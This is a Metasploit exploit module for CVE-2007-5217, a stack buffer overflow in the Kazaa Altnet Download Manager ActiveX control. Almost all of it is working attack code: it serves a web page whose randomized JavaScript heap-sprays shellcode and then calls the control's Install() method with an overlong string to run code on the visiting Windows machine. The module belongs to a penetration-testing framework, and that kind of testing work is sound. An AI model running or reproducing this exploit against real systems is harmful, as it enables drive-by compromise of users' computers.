##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpServer::HTML

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Kazaa Altnet Download Manager ActiveX Control Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack buffer overflow in the Altnet Download Manager ActiveX
        Control (amd4.dll) bundled with Kazaa Media Desktop 3.2.7.
        By sending a overly long string to the "Install()" method, an attacker may be
        able to execute arbitrary code.
      },
      'License'        => MSF_LICENSE,
      'Author'         => [ 'MC' ],
      'References'     =>
        [
          [ 'CVE', '2007-5217' ],
          [ 'OSVDB', '37785' ],
          [ 'URL', 'http://secunia.com/advisories/26970/' ],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
        },
      'Payload'        =>
        {
          'Space'         => 1024,
          'BadChars'      => "\x00",
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Windows XP SP0-SP2 / IE 6.0SP1 English', { 'Ret' => '\x0c\x0c\x0c\x0c' } ]
        ],
      'DisclosureDate' => 'Oct 3 2007',
      'DefaultTarget'  => 0))
  end

  def autofilter
    false
  end

  def check_dependencies
    use_zlib
  end

  def on_request_uri(cli, request)
    # Re-generate the payload
    return if ((p = regenerate_payload(cli)) == nil)

    # Encode the shellcode
    shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

    # Create some nops
    nops = Rex::Text.to_unescape(make_nops(4))

    # Randomize the javascript variable names
    vname  = rand_text_alpha(rand(100) + 1)
    var_i  = rand_text_alpha(rand(30)+2)
    rand1  = rand_text_alpha(rand(100) + 1)
    rand2  = rand_text_alpha(rand(100) + 1)
    rand3  = rand_text_alpha(rand(100) + 1)
    rand4  = rand_text_alpha(rand(100) + 1)
    rand5  = rand_text_alpha(rand(100) + 1)
    rand6  = rand_text_alpha(rand(100) + 1)
    rand7  = rand_text_alpha(rand(100) + 1)
    rand8  = rand_text_alpha(rand(100) + 1)

    # Build out the message
    content =
      "<html>\n" +
      "<object classid='clsid:DEF37997-D9C9-4A4B-BF3C-88F99EACEEC2' id='#{vname}'></object>\n" +
      "<script language='javascript'>\n" +
      "#{rand1} = unescape('#{shellcode}');\n" +
      "#{rand2} = unescape('#{nops}');\n" +
      "#{rand3} = 20;\n" +
      "#{rand4} = #{rand3}+#{rand1}.length\n" +
      "while (#{rand2}.length<#{rand4}) #{rand2}+=#{rand2};\n" +
      "#{rand5} = #{rand2}.substring(0, #{rand4});\n" +
      "#{rand6} = #{rand2}.substring(0, #{rand2}.length-#{rand4});\n" +
      "while(#{rand6}.length+#{rand4}<0x30000) #{rand6} = #{rand6}+#{rand6}+#{rand5};\n" +
      "#{rand7} = new Array();\n" +
      "for (#{var_i}=0; #{var_i}<400; #{var_i}++) #{rand7}[#{var_i}] = #{rand6} + #{rand1};\n" +
      "#{rand8} = '#{target.ret}';\n" +
      "while (#{rand8}.length < 5000) #{rand8}+=#{rand8};\n" +
      "#{vname}.Install(#{vname} ,#{rand8} ,#{vname}, 1);\n" +
      "</script>\n" +
      "</html>"

    content = Rex::Text.randomize_space(content)

    print_status("Sending #{self.name}")

    # Transmit the response to the client
    send_response_html(cli, content)

    # Handle the payload
    handler(cli)
  end

end
